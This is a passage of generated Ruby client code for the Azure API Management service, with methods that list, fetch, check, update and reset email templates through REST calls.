service_name.match(Regexp.new('^^[a-zA-Z](?:[a-zA-Z0-9-]*[a-zA-Z0-9])?$$')).nil? fail ArgumentError, "'top' should satisfy the constraint - 'InclusiveMinimum': '1'" if !top.nil? && top < 1 fail ArgumentError, "'skip' should satisfy the constraint - 'InclusiveMinimum': '0'" if !skip.nil? && skip < 0 fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil? fail ArgumentError, '@client.subscription_id is nil' if @client.subscription_id.nil? request_headers = {} request_headers['Content-Type'] = 'application/json; charset=utf-8' # Set Headers request_headers['x-ms-client-request-id'] = SecureRandom.uuid request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil? path_template = 'subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.ApiManagement/service/{serviceName}/templates' request_url = @base_url || @client.base_url options = { middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]], path_params: {'resourceGroupName' => resource_group_name,'serviceName' => service_name,'subscriptionId' => @client.subscription_id}, query_params: {'$top' => top,'$skip' => skip,'api-version' => @client.api_version}, headers: request_headers.merge(custom_headers || {}), base_url: request_url } promise = @client.make_request_async(:get, path_template, options) promise = promise.then do |result| http_response = result.response status_code = http_response.status response_content = http_response.body unless status_code == 200 error_model = JSON.load(response_content) fail MsRestAzure::AzureOperationError.new(result.request, http_response, error_model) end result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil? result.correlation_request_id = http_response['x-ms-correlation-request-id'] unless http_response['x-ms-correlation-request-id'].nil? result.client_request_id = http_response['x-ms-client-request-id'] unless http_response['x-ms-client-request-id'].nil? # Deserialize Response if status_code == 200 begin parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content) result_mapper = Azure::ApiManagement::Mgmt::V2017_03_01::Models::EmailTemplateCollection.mapper() result.body = @client.deserialize(result_mapper, parsed_response) rescue Exception => e fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result) end end result end promise.execute end # # Gets the entity state (Etag) version of the email template specified by its # identifier. # # @param resource_group_name [String] The name of the resource group. # @param service_name [String] The name of the API Management service. # @param template_name [TemplateName] Email Template Name Identifier. Possible # values include: 'applicationApprovedNotificationMessage', # 'accountClosedDeveloper', # 'quotaLimitApproachingDeveloperNotificationMessage', # 'newDeveloperNotificationMessage', 'emailChangeIdentityDefault', # 'inviteUserNotificationMessage', 'newCommentNotificationMessage', # 'confirmSignUpIdentityDefault', 'newIssueNotificationMessage', # 'purchaseDeveloperNotificationMessage', 'passwordResetIdentityDefault', # 'passwordResetByAdminNotificationMessage', # 'rejectDeveloperNotificationMessage', 'requestDeveloperNotificationMessage' # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # def get_entity_tag(resource_group_name, service_name, template_name, custom_headers:nil) response = get_entity_tag_async(resource_group_name, service_name, template_name, custom_headers:custom_headers).value! nil end # # Gets the entity state (Etag) version of the email template specified by its # identifier. # # @param resource_group_name [String] The name of the resource group. # @param service_name [String] The name of the API Management service. # @param template_name [TemplateName] Email Template Name Identifier. Possible # values include: 'applicationApprovedNotificationMessage', # 'accountClosedDeveloper', # 'quotaLimitApproachingDeveloperNotificationMessage', # 'newDeveloperNotificationMessage', 'emailChangeIdentityDefault', # 'inviteUserNotificationMessage', 'newCommentNotificationMessage', # 'confirmSignUpIdentityDefault', 'newIssueNotificationMessage', # 'purchaseDeveloperNotificationMessage', 'passwordResetIdentityDefault', # 'passwordResetByAdminNotificationMessage', # 'rejectDeveloperNotificationMessage', 'requestDeveloperNotificationMessage' # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [MsRestAzure::AzureOperationResponse] HTTP response information. # def get_entity_tag_with_http_info(resource_group_name, service_name, template_name, custom_headers:nil) get_entity_tag_async(resource_group_name, service_name, template_name, custom_headers:custom_headers).value! end # # Gets the entity state (Etag) version of the email template specified by its # identifier. # # @param resource_group_name [String] The name of the resource group. # @param service_name [String] The name of the API Management service. # @param template_name [TemplateName] Email Template Name Identifier. Possible # values include: 'applicationApprovedNotificationMessage', # 'accountClosedDeveloper', # 'quotaLimitApproachingDeveloperNotificationMessage', # 'newDeveloperNotificationMessage', 'emailChangeIdentityDefault', # 'inviteUserNotificationMessage', 'newCommentNotificationMessage', # 'confirmSignUpIdentityDefault', 'newIssueNotificationMessage', # 'purchaseDeveloperNotificationMessage', 'passwordResetIdentityDefault', # 'passwordResetByAdminNotificationMessage', # 'rejectDeveloperNotificationMessage', 'requestDeveloperNotificationMessage' # @param [Hash{String => String}] A hash of custom headers that will be added # to the HTTP request. # # @return [Concurrent::Promise] Promise object which holds the HTTP response. # def get_entity_tag_async(resource_group_name, service_name, template_name, custom_headers:nil) fail ArgumentError, 'resource_group_name is nil' if resource_group_name.nil? fail ArgumentError, 'service_name is nil' if service_name.nil? fail ArgumentError, "'service_name' should satisfy the constraint - 'MaxLength': '50'" if !service_name.nil? && service_name.length > 50 fail ArgumentError, "'service_name' should satisfy the constraint - 'MinLength': '1'" if !service_name.nil? && service_name.length < 1 fail ArgumentError, "'service_name' should satisfy the constraint - 'Pattern': '^[a-zA-Z](?:[a-zA-Z0-9-]*[a-zA-Z0-9])?$'" if !service_name.nil? && service_name.match(Regexp.new('^^[a-zA-Z](?:[a-zA-Z0-9-]*[a-zA-Z0-9])?$$')).nil? fail ArgumentError, 'template_name is nil' if template_name.nil? fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil? fail ArgumentError, '@client.subscription_id is nil' if @client.subscription_id.nil? request_headers = {} request_headers['Content-Type'] = 'application/json; charset=utf-8' # Set Headers request_headers['x-ms-client-request-id'] = SecureRandom.uuid request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil? path_template = 'subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.ApiManagement/service/{serviceName}/templates/{templateName}' request_url = @base_url || @client.base_url options = { middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]], path_params: {'resourceGroupName' => resource_group_name,'serviceName' => service_name,'templateName' => template_name,'subscriptionId' => @client.subscription_id}, query_params: {'api-version' => @client.api_version}, headers: request_headers.merge(custom_headers || {}), base_url: request_url } promise = @client.make_request_async(:head, path_template, options) promise = promise.then do |result| http_response = result.response status_code = http_response.status response_content = http_response.body unless status_code == 200 error_model = JSON.load(response_content) fail MsRest::HttpOperationError.new(result.request, http_response, error_model) end result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil? result.correlation_request_id = http_response['x-ms-correlation-request-id'] unless http_response['x-ms-correlation-request-id'].nil? result.client_request_id = http_response['x-ms-client-request-id'] unless http_response['x-ms-client-request-id'].nil? result end promise.execute end # # Gets the details of the email template specified by its identifier. # # @param resource_group_name [String] The name of the resource group. # @param service_name [String] The name of the API Management service. # @param template_name [TemplateName] Email Template Name Identifier. Possible # values include: 'applicationApprovedNotificationMessage', # 'accountClosedDeveloper', # 'quotaLimitApproachingDeveloperNotificationMessage', # 'newDeveloperNotificationMessage', 'emailChangeIdentityDefault', # 'inviteUserNotificationMessage', 'newCommentNotificationMessage', # 'confirmSignUpIdentityDefault', 'newIssueNotificationMessage', # 'purchaseDeveloperNotificationMessage', 'passwordResetIdentityDefault', # 'passwordResetByAdminNotificationMessage', # 'rejectDeveloperNotificationMessage', 'requestDeveloperNotificationMessage' # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [EmailTemplateContract] operation results. # def get(resource_group_name, service_name, template_name, custom_headers:nil) response = get_async(resource_group_name, service_name, template_name, custom_headers:custom_headers).value! response.body unless response.nil? end # # Gets the details of the email template specified by its identifier. # # @param resource_group_name [String] The name of the resource group. # @param service_name [String] The name of the API Management service. # @param template_name [TemplateName] Email Template Name Identifier. Possible # values include: 'applicationApprovedNotificationMessage', # 'accountClosedDeveloper', # 'quotaLimitApproachingDeveloperNotificationMessage', # 'newDeveloperNotificationMessage', 'emailChangeIdentityDefault', # 'inviteUserNotificationMessage', 'newCommentNotificationMessage', # 'confirmSignUpIdentityDefault', 'newIssueNotificationMessage', # 'purchaseDeveloperNotificationMessage', 'passwordResetIdentityDefault', # 'passwordResetByAdminNotificationMessage', # 'rejectDeveloperNotificationMessage', 'requestDeveloperNotificationMessage' # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [MsRestAzure::AzureOperationResponse] HTTP response information. # def get_with_http_info(resource_group_name, service_name, template_name, custom_headers:nil) get_async(resource_group_name, service_name, template_name, custom_headers:custom_headers).value! end # # Gets the details of the email template specified by its identifier. # # @param resource_group_name [String] The name of the resource group. # @param service_name [String] The name of the API Management service. # @param template_name [TemplateName] Email Template Name Identifier. Possible # values include: 'applicationApprovedNotificationMessage', # 'accountClosedDeveloper', # 'quotaLimitApproachingDeveloperNotificationMessage', # 'newDeveloperNotificationMessage', 'emailChangeIdentityDefault', # 'inviteUserNotificationMessage', 'newCommentNotificationMessage', # 'confirmSignUpIdentityDefault', 'newIssueNotificationMessage', # 'purchaseDeveloperNotificationMessage', 'passwordResetIdentityDefault', # 'passwordResetByAdminNotificationMessage', # 'rejectDeveloperNotificationMessage', 'requestDeveloperNotificationMessage' # @param [Hash{String => String}] A hash of custom headers that will be added # to the HTTP request. # # @return [Concurrent::Promise] Promise object which holds the HTTP response. # def get_async(resource_group_name, service_name, template_name, custom_headers:nil) fail ArgumentError, 'resource_group_name is nil' if resource_group_name.nil? fail ArgumentError, 'service_name is nil' if service_name.nil? fail ArgumentError, "'service_name' should satisfy the constraint - 'MaxLength': '50'" if !service_name.nil? && service_name.length > 50 fail ArgumentError, "'service_name' should satisfy the constraint - 'MinLength': '1'" if !service_name.nil? && service_name.length < 1 fail ArgumentError, "'service_name' should satisfy the constraint - 'Pattern': '^[a-zA-Z](?:[a-zA-Z0-9-]*[a-zA-Z0-9])?$'" if !service_name.nil? && service_name.match(Regexp.new('^^[a-zA-Z](?:[a-zA-Z0-9-]*[a-zA-Z0-9])?$$')).nil? fail ArgumentError, 'template_name is nil' if template_name.nil? fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil? fail ArgumentError, '@client.subscription_id is nil' if @client.subscription_id.nil? request_headers = {} request_headers['Content-Type'] = 'application/json; charset=utf-8' # Set Headers request_headers['x-ms-client-request-id'] = SecureRandom.uuid request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil? path_template = 'subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.ApiManagement/service/{serviceName}/templates/{templateName}' request_url = @base_url || @client.base_url options = { middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]], path_params: {'resourceGroupName' => resource_group_name,'serviceName' => service_name,'templateName' => template_name,'subscriptionId' => @client.subscription_id}, query_params: {'api-version' => @client.api_version}, headers: request_headers.merge(custom_headers || {}), base_url: request_url } promise = @client.make_request_async(:get, path_template, options) promise = promise.then do |result| http_response = result.response status_code = http_response.status response_content = http_response.body unless status_code == 200 error_model = JSON.load(response_content) fail MsRest::HttpOperationError.new(result.request, http_response, error_model) end result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil? result.correlation_request_id = http_response['x-ms-correlation-request-id'] unless http_response['x-ms-correlation-request-id'].nil? result.client_request_id = http_response['x-ms-client-request-id'] unless http_response['x-ms-client-request-id'].nil? # Deserialize Response if status_code == 200 begin parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content) result_mapper = Azure::ApiManagement::Mgmt::V2017_03_01::Models::EmailTemplateContract.mapper() result.body = @client.deserialize(result_mapper, parsed_response) rescue Exception => e fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result) end end result end promise.execute end # # Updates an Email Template. # # @param resource_group_name [String] The name of the resource group. # @param service_name [String] The name of the API Management service. # @param template_name [TemplateName] Email Template Name Identifier. Possible # values include: 'applicationApprovedNotificationMessage', # 'accountClosedDeveloper', # 'quotaLimitApproachingDeveloperNotificationMessage', # 'newDeveloperNotificationMessage', 'emailChangeIdentityDefault', # 'inviteUserNotificationMessage', 'newCommentNotificationMessage', # 'confirmSignUpIdentityDefault', 'newIssueNotificationMessage', # 'purchaseDeveloperNotificationMessage', 'passwordResetIdentityDefault', # 'passwordResetByAdminNotificationMessage', # 'rejectDeveloperNotificationMessage', 'requestDeveloperNotificationMessage' # @param parameters [EmailTemplateUpdateParameters] Email Template update # parameters. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [EmailTemplateContract] operation results. # def create_or_update(resource_group_name, service_name, template_name, parameters, custom_headers:nil) response = create_or_update_async(resource_group_name, service_name, template_name, parameters, custom_headers:custom_headers).value! response.body unless response.nil? end # # Updates an Email Template. # # @param resource_group_name [String] The name of the resource group. # @param service_name [String] The name of the API Management service. # @param template_name [TemplateName] Email Template Name Identifier. Possible # values include: 'applicationApprovedNotificationMessage', # 'accountClosedDeveloper', # 'quotaLimitApproachingDeveloperNotificationMessage', # 'newDeveloperNotificationMessage', 'emailChangeIdentityDefault', # 'inviteUserNotificationMessage', 'newCommentNotificationMessage', # 'confirmSignUpIdentityDefault', 'newIssueNotificationMessage', # 'purchaseDeveloperNotificationMessage', 'passwordResetIdentityDefault', # 'passwordResetByAdminNotificationMessage', # 'rejectDeveloperNotificationMessage', 'requestDeveloperNotificationMessage' # @param parameters [EmailTemplateUpdateParameters] Email Template update # parameters. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [MsRestAzure::AzureOperationResponse] HTTP response information. # def create_or_update_with_http_info(resource_group_name, service_name, template_name, parameters, custom_headers:nil) create_or_update_async(resource_group_name, service_name, template_name, parameters, custom_headers:custom_headers).value! end # # Updates an Email Template. # # @param resource_group_name [String] The name of the resource group. # @param service_name [String] The name of the API Management service. # @param template_name [TemplateName] Email Template Name Identifier. Possible # values include: 'applicationApprovedNotificationMessage', # 'accountClosedDeveloper', # 'quotaLimitApproachingDeveloperNotificationMessage', # 'newDeveloperNotificationMessage', 'emailChangeIdentityDefault', # 'inviteUserNotificationMessage', 'newCommentNotificationMessage', # 'confirmSignUpIdentityDefault', 'newIssueNotificationMessage', # 'purchaseDeveloperNotificationMessage', 'passwordResetIdentityDefault', # 'passwordResetByAdminNotificationMessage', # 'rejectDeveloperNotificationMessage', 'requestDeveloperNotificationMessage' # @param parameters [EmailTemplateUpdateParameters] Email Template update # parameters. # @param [Hash{String => String}] A hash of custom headers that will be added # to the HTTP request. # # @return [Concurrent::Promise] Promise object which holds the HTTP response. # def create_or_update_async(resource_group_name, service_name, template_name, parameters, custom_headers:nil) fail ArgumentError, 'resource_group_name is nil' if resource_group_name.nil? fail ArgumentError, 'service_name is nil' if service_name.nil? fail ArgumentError, "'service_name' should satisfy the constraint - 'MaxLength': '50'" if !service_name.nil? && service_name.length > 50 fail ArgumentError, "'service_name' should satisfy the constraint - 'MinLength': '1'" if !service_name.nil? && service_name.length < 1 fail ArgumentError, "'service_name' should satisfy the constraint - 'Pattern': '^[a-zA-Z](?:[a-zA-Z0-9-]*[a-zA-Z0-9])?$'" if !service_name.nil? && service_name.match(Regexp.new('^^[a-zA-Z](?:[a-zA-Z0-9-]*[a-zA-Z0-9])?$$')).nil? fail ArgumentError, 'template_name is nil' if template_name.nil? fail ArgumentError, 'parameters is nil' if parameters.nil? fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil? fail ArgumentError, '@client.subscription_id is nil' if @client.subscription_id.nil? request_headers = {} request_headers['Content-Type'] = 'application/json; charset=utf-8' # Set Headers request_headers['x-ms-client-request-id'] = SecureRandom.uuid request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil? # Serialize Request request_mapper = Azure::ApiManagement::Mgmt::V2017_03_01::Models::EmailTemplateUpdateParameters.mapper() request_content = @client.serialize(request_mapper, parameters) request_content = request_content != nil ? JSON.generate(request_content, quirks_mode: true) : nil path_template = 'subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.ApiManagement/service/{serviceName}/templates/{templateName}' request_url = @base_url || @client.base_url options = { middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]], path_params: {'resourceGroupName' => resource_group_name,'serviceName' => service_name,'templateName' => template_name,'subscriptionId' => @client.subscription_id}, query_params: {'api-version' => @client.api_version}, body: request_content, headers: request_headers.merge(custom_headers || {}), base_url: request_url } promise = @client.make_request_async(:put, path_template, options) promise = promise.then do |result| http_response = result.response status_code = http_response.status response_content = http_response.body unless status_code == 201 || status_code == 200 error_model = JSON.load(response_content) fail MsRest::HttpOperationError.new(result.request, http_response, error_model) end result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil? result.correlation_request_id = http_response['x-ms-correlation-request-id'] unless http_response['x-ms-correlation-request-id'].nil? result.client_request_id = http_response['x-ms-client-request-id'] unless http_response['x-ms-client-request-id'].nil? # Deserialize Response if status_code == 201 begin parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content) result_mapper = Azure::ApiManagement::Mgmt::V2017_03_01::Models::EmailTemplateContract.mapper() result.body = @client.deserialize(result_mapper, parsed_response) rescue Exception => e fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result) end end # Deserialize Response if status_code == 200 begin parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content) result_mapper = Azure::ApiManagement::Mgmt::V2017_03_01::Models::EmailTemplateContract.mapper() result.body = @client.deserialize(result_mapper, parsed_response) rescue Exception => e fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result) end end result end promise.execute end # # Updates the specific Email Template. # # @param resource_group_name [String] The name of the resource group. # @param service_name [String] The name of the API Management service. # @param template_name [TemplateName] Email Template Name Identifier. Possible # values include: 'applicationApprovedNotificationMessage', # 'accountClosedDeveloper', # 'quotaLimitApproachingDeveloperNotificationMessage', # 'newDeveloperNotificationMessage', 'emailChangeIdentityDefault', # 'inviteUserNotificationMessage', 'newCommentNotificationMessage', # 'confirmSignUpIdentityDefault', 'newIssueNotificationMessage', # 'purchaseDeveloperNotificationMessage', 'passwordResetIdentityDefault', # 'passwordResetByAdminNotificationMessage', # 'rejectDeveloperNotificationMessage', 'requestDeveloperNotificationMessage' # @param parameters [EmailTemplateUpdateParameters] Update parameters. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # def update(resource_group_name, service_name, template_name, parameters, custom_headers:nil) response = update_async(resource_group_name, service_name, template_name, parameters, custom_headers:custom_headers).value! nil end # # Updates the specific Email Template. # # @param resource_group_name [String] The name of the resource group. # @param service_name [String] The name of the API Management service. # @param template_name [TemplateName] Email Template Name Identifier. Possible # values include: 'applicationApprovedNotificationMessage', # 'accountClosedDeveloper', # 'quotaLimitApproachingDeveloperNotificationMessage', # 'newDeveloperNotificationMessage', 'emailChangeIdentityDefault', # 'inviteUserNotificationMessage', 'newCommentNotificationMessage', # 'confirmSignUpIdentityDefault', 'newIssueNotificationMessage', # 'purchaseDeveloperNotificationMessage', 'passwordResetIdentityDefault', # 'passwordResetByAdminNotificationMessage', # 'rejectDeveloperNotificationMessage', 'requestDeveloperNotificationMessage' # @param parameters [EmailTemplateUpdateParameters] Update parameters. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [MsRestAzure::AzureOperationResponse] HTTP response information. # def update_with_http_info(resource_group_name, service_name, template_name, parameters, custom_headers:nil) update_async(resource_group_name, service_name, template_name, parameters, custom_headers:custom_headers).value! end # # Updates the specific Email Template. # # @param resource_group_name [String] The name of the resource group. # @param service_name [String] The name of the API Management service. # @param template_name [TemplateName] Email Template Name Identifier. Possible # values include: 'applicationApprovedNotificationMessage', # 'accountClosedDeveloper', # 'quotaLimitApproachingDeveloperNotificationMessage', # 'newDeveloperNotificationMessage', 'emailChangeIdentityDefault', # 'inviteUserNotificationMessage', 'newCommentNotificationMessage', # 'confirmSignUpIdentityDefault', 'newIssueNotificationMessage', # 'purchaseDeveloperNotificationMessage', 'passwordResetIdentityDefault', # 'passwordResetByAdminNotificationMessage', # 'rejectDeveloperNotificationMessage', 'requestDeveloperNotificationMessage' # @param parameters [EmailTemplateUpdateParameters] Update parameters. # @param [Hash{String => String}] A hash of custom headers that will be added # to the HTTP request. # # @return [Concurrent::Promise] Promise object which holds the HTTP response. # def update_async(resource_group_name, service_name, template_name, parameters, custom_headers:nil) fail ArgumentError, 'resource_group_name is nil' if resource_group_name.nil? fail ArgumentError, 'service_name is nil' if service_name.nil? fail ArgumentError, "'service_name' should satisfy the constraint - 'MaxLength': '50'" if !service_name.nil? && service_name.length > 50 fail ArgumentError, "'service_name' should satisfy the constraint - 'MinLength': '1'" if !service_name.nil? && service_name.length < 1 fail ArgumentError, "'service_name' should satisfy the constraint - 'Pattern': '^[a-zA-Z](?:[a-zA-Z0-9-]*[a-zA-Z0-9])?$'" if !service_name.nil? && service_name.match(Regexp.new('^^[a-zA-Z](?:[a-zA-Z0-9-]*[a-zA-Z0-9])?$$')).nil? fail ArgumentError, 'template_name is nil' if template_name.nil? fail ArgumentError, 'parameters is nil' if parameters.nil? fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil? fail ArgumentError, '@client.subscription_id is nil' if @client.subscription_id.nil? request_headers = {} request_headers['Content-Type'] = 'application/json; charset=utf-8' # Set Headers request_headers['x-ms-client-request-id'] = SecureRandom.uuid request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil? # Serialize Request request_mapper = Azure::ApiManagement::Mgmt::V2017_03_01::Models::EmailTemplateUpdateParameters.mapper() request_content = @client.serialize(request_mapper, parameters) request_content = request_content != nil ? JSON.generate(request_content, quirks_mode: true) : nil path_template = 'subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.ApiManagement/service/{serviceName}/templates/{templateName}' request_url = @base_url || @client.base_url options = { middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]], path_params: {'resourceGroupName' => resource_group_name,'serviceName' => service_name,'templateName' => template_name,'subscriptionId' => @client.subscription_id}, query_params: {'api-version' => @client.api_version}, body: request_content, headers: request_headers.merge(custom_headers || {}), base_url: request_url } promise = @client.make_request_async(:patch, path_template, options) promise = promise.then do |result| http_response = result.response status_code = http_response.status response_content = http_response.body unless status_code == 204 error_model = JSON.load(response_content) fail MsRest::HttpOperationError.new(result.request, http_response, error_model) end result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil? result.correlation_request_id = http_response['x-ms-correlation-request-id'] unless http_response['x-ms-correlation-request-id'].nil? result.client_request_id = http_response['x-ms-client-request-id'] unless http_response['x-ms-client-request-id'].nil? result end promise.execute end # # Reset the Email Template to default template provided by the API Management # service instance. # # @param resource_group_name [String] The name of the resource group. # @param service_name [String] The name of the API Management service. # @param template_name [TemplateName] Email Template Name Identifier. Possible # values include: 'applicationApprovedNotificationMessage', # 'accountClosedDeveloper', # 'quotaLimitApproachingDeveloperNotificationMessage', # 'newDeveloperNotificationMessage', 'emailChangeIdentityDefault', # 'inviteUserNotificationMessage', 'newCommentNotificationMessage', # 'confirmSignUpIdentityDefault', 'newIssueNotificationMessage', # 'purchaseDeveloperNotificationMessage', 'passwordResetIdentityDefault', # 'passwordResetByAdminNotificationMessage', # 'rejectDeveloperNotificationMessage', 'requestDeveloperNotificationMessage' # @param if_match [String] The entity state (Etag) version of the Email # Template to delete. A value of "*" can be used for If-Match to # unconditionally apply the operation. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # def delete(resource_group_name, service_name, template_name, if_match, custom_headers:nil) response = delete_async(resource_group_name, service_name, template_name, if_match, custom_headers:custom_headers).value! nil end # # Reset the Email Template to default template provided by the API Management # service instance. # # @param resource_group_name [String] The name of the resource group. # @param service_name [String] The name of the API Management service. # @param template_name [TemplateName] Email Template Name Identifier. Possible # values include: 'applicationApprovedNotificationMessage', # 'accountClosedDeveloper', # 'quotaLimitApproachingDeveloperNotificationMessage', # 'newDeveloperNotificationMessage', 'emailChangeIdentityDefault', # 'inviteUserNotificationMessage', 'newCommentNotificationMessage', # 'confirmSignUpIdentityDefault', 'newIssueNotificationMessage', # 'purchaseDeveloperNotificationMessage', 'passwordResetIdentityDefault', # 'passwordResetByAdminNotificationMessage', # 'rejectDeveloperNotificationMessage', 'requestDeveloperNotificationMessage' # @param if_match [String] The entity state (Etag) version of the Email # Template to delete. A value of "*" can be used for If-Match to # unconditionally apply the operation. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [MsRestAzure::AzureOperationResponse] HTTP response information. # def delete_with_http_info(resource_group_name, service_name, template_name, if_match, custom_headers:nil) delete_async(resource_group_name, service_name, template_name, if_match, custom_headers:custom_headers).value! end # # Reset the Email Template to default template provided by the API Management # service instance. # # @param resource_group_name [String] The name of the resource group. # @param service_name [String] The name of the API Management service. # @param template_name [TemplateName] Email Template Name Identifier. Possible # values include: 'applicationApprovedNotificationMessage', # 'accountClosedDeveloper', # 'quotaLimitApproachingDeveloperNotificationMessage', # 'newDeveloperNotificationMessage', 'emailChangeIdentityDefault', # 'inviteUserNotificationMessage', 'newCommentNotificationMessage', # 'confirmSignUpIdentityDefault', 'newIssueNotificationMessage', # 'purchaseDeveloperNotificationMessage', 'passwordResetIdentityDefault', # 'passwordResetByAdminNotificationMessage', # 'rejectDeveloperNotificationMessage', 'requestDeveloperNotificationMessage' # @param if_match [String] The entity state (Etag) version of the Email # Template to delete. A value of "*" can be used for If-Match to # unconditionally apply the operation. # @param [Hash{String => String}] A hash of custom headers that will be added # to the HTTP request. # # @return [Concurrent::Promise] Promise object which holds the HTTP response. # def delete_async(resource_group_name, service_name, template_name, if_match, custom_headers:nil) fail ArgumentError, 'resource_group_name is nil' if resource_group_name.nil? fail ArgumentError, 'service_name is nil' if service_name.nil? fail ArgumentError, "'service_name' should satisfy the constraint - 'MaxLength': '50'" if !service_name.nil? && service_name.length > 50 fail ArgumentError, "'service_name' should satisfy the constraint - 'MinLength': '1'" if !service_name.nil? && service_name.length < 1 fail ArgumentError, "'service_name' should satisfy the constraint - 'Pattern': '^[a-zA-Z](?:[a-zA-Z0-9-]*[a-zA-Z0-9])?$'" if !service_name.nil? && service_name.match(Regexp.new('^^[a-zA-Z](?:[a-zA-Z0-9-]*[a-zA-Z0-9])?$$')).nil? fail ArgumentError, 'template_name is nil' if template_name.nil? fail ArgumentError, 'if_match is nil' if if_match.nil? fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil? fail ArgumentError, '@client.subscription_id is nil' if @client.subscription_id.nil? request_headers = {} request_headers['Content-Type'] = 'application/json; charset=utf-8' # Set Headers request_headers['x-ms-client-request-id'] = SecureRandom.uuid request_headers['If-Match'] = if_match unless if_match.nil? request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil? path_template = 'subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.ApiManagement/service/{serviceName}/templates/{templateName}' request_url = @base_url || @client.base_url options = { middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]], path_params: {'resourceGroupName' => resource_group_name,'serviceName' => service_name,'templateName' => template_name,'subscriptionId' => @client.subscription_id}, query_params: {'api-version' => @client.api_version}, headers: request_headers.merge(custom_headers || {}), base_url: request_url } promise = @client.make_request_async(:delete, path_template, options) promise = promise.then do |result| http_response = result.response status_code = http_response.status response_content = http_response.body unless status_code == 204 error_model = JSON.load(response_content) fail MsRest::HttpOperationError.new(result.request, http_response, error_model) end result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil? result.correlation_request_id = http_response['x-ms-correlation-request-id'] unless http_response['x-ms-correlation-request-id'].nil? result.client_request_id = http_response['x-ms-client-request-id'] unless http_response['x-ms-client-request-id'].nil? result end promise.execute end # # Lists a collection of properties defined within a service instance. # # @param next_page_link [String] The NextLink from the previous successful call # to List operation. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [EmailTemplateCollection] operation results. # def list_by_service_next(next_page_link, custom_headers:nil) response = list_by_service_next_async(next_page_link, custom_headers:custom_headers).value! response.body unless response.nil? end # # Lists a collection of properties defined within a service instance. # # @param next_page_link [String] The NextLink from the previous successful call # to List operation. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [MsRestAzure::AzureOperationResponse] HTTP response information. # def list_by_service_next_with_http_info(next_page_link, custom_headers:nil) list_by_service_next_async(next_page_link, custom_headers:custom_headers).value! end # # Lists a collection of properties defined within a service instance. # # @param next_page_link [String] The NextLink from the previous successful call # to List operation. # @param [Hash{String => String}] A hash of custom headers that will be added # to the HTTP request. # # @return [Concurrent::Promise] Promise object which holds the HTTP response. # def list_by_service_next_async(next_page_link, custom_headers:nil) fail ArgumentError, 'next_page_link is nil' if next_page_link.nil? request_headers = {} request_headers['Content-Type'] = 'application/json; charset=utf-8' # Set Headers request_headers['x-ms-client-request-id'] = SecureRandom.uuid request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil? path_template = '{nextLink}' request_url = @base_url || @client.base_url options = { middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]], skip_encoding_path_params: {'nextLink' => next_page_link}, headers: request_headers.merge(custom_headers || {}), base_url: request_url } promise = @client.make_request_async(:get, path_template, options) promise = promise.then do |result| http_response = result.response status_code = http_response.status response_content = http_response.body unless status_code == 200 error_model = JSON.load(response_content) fail MsRestAzure::AzureOperationError.new(result.request, http_response, error_model) end result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil? 